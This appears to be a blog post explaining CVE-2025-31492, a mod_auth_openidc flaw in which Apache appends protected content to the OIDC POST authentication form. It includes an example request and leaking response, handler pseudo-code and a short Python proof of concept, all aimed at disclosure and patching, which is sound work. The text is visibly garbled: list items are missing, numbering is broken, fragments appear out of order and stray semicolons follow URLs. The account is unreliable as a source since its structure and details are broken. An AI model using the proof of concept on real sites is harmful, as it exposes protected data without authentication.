mod_auth_openidc is a popular OpenID Connect (OIDC) module for Apache 2.x servers, providing enterprise-ready authentication and single sign-on. In April 2025, a serious flaw (CVE-2025-31492) was discovered. This flaw could expose protected resources to users who weren't properly authenticated. Below, I’ll break down what happened, how an exploit could work, and show example code.

What Is mod_auth_openidc?

Before we dive in, here’s the short story:

It acts as a "relying party," protecting content until users log in.

The vulnerability impacts versions before 2.4.16.11.

About the Vulnerability

CVE-2025-31492 allows an attacker to get access to protected content when these three conditions happen:

The attacker has a valid user account with the OIDC provider (but doesn't have to be logged in).

3. There’s no application-level gateway (such as a load balancer or reverse proxy) shielding the Apache server.

Due to a bug, the OIDC POST flow messes up.

- The response back to the user contains not only the expected authentication self-submitting form, but also the entire protected content (often HTML or sensitive data), just appended to the response.

Why?
The function oidc_content_handler was supposed to prevent normal Apache output (the protected content) from being sent out.
But it missed a crucial check. So instead of intercepting, it just stepped aside (returning DECLINED), and Apache sent both the authentication response AND the protected file/content.

Patched on: April 2025

- Original disclosure: mod_auth_openidc GitHub advisory

Example Request & Response

Let’s look at what an attacker might do, and what they’d see.

Step 1: Request a protected resource (e.g., /secret.html)

POST /secret.html HTTP/1.1
Host: your-app.com
Content-Type: application/x-www-form-urlencoded

some=data

Server Response

HTTP/1.1 200 OK
Content-Type: text/html

<html>
<!-- OIDC authentication self-submitting form here -->
<form id="oidc_auth" action="https://idp.example.com/auth"; method="post">...</form>
<script>document.getElementById('oidc_auth').submit();</script>

<!-- But then... the actual protected content! -->
<html>
<head><title>Super Secret</title></head>
<body>
  TOP SECRET: Project X launches next week!
</body>
</html>

If the attacker parses out the second <html>...</html> block, they've got the protected data, without authentication.

That lets Apache issue the *default content handler*.

- *mod_auth_openidc* does send its authentication form, but then Apache also appends the protected file/content, since no HTTP headers signaled otherwise.

Extracted pseudo-code to illustrate the flow

rc = oidc_content_handler(request, ...);

if (rc == DECLINED) {
  // Apache runs the default content handler
  serve_protected_resource(request);
} else if (rc == OK) {
  // The request was handled by oidc module -- send only auth form
  return;
}

The site is using OIDCProviderAuthRequestMethod POST

- No intermediary/proxy strips/blocks requests

Exploit Steps

1. Attacker knows or guesses a protected URL (/invoices/april.pdf)

Python PoC Example

import requests

url = 'https://your-vulnerable-site.com/secret.html';
response = requests.post(url, data='irrelevant=data')

print('Server responded with:')
print(response.text)  # This may include BOTH the auth form and secret page

Update mod_auth_openidc to version 2.4.16.11 or newer

- GitHub project: mod_auth_openidc Releases

References

- mod_auth_openidc CVE-2025-31492 Security Advisory (GHSA)
- Official mod_auth_openidc Documentation
- OpenID Connect Authentication Explained (Okta)
- CVE Details page (CVE-2025-31492)

Conclusion

CVE-2025-31492 underscores how subtle bugs in authentication flows can lead to massive data leaks, even if you think your endpoints are safe. If you’re running OIDC on Apache, patch ASAP, and always use a gateway or WAF as extra safety.


*This post is exclusive and simplifies the full advisory for practical understanding. Be vigilant—buggy authentication can undo all your security in one go.*

Timeline

Published on: 04/06/2025 20:15:15 UTC
Last modified on: 04/17/2025 11:15:48 UTC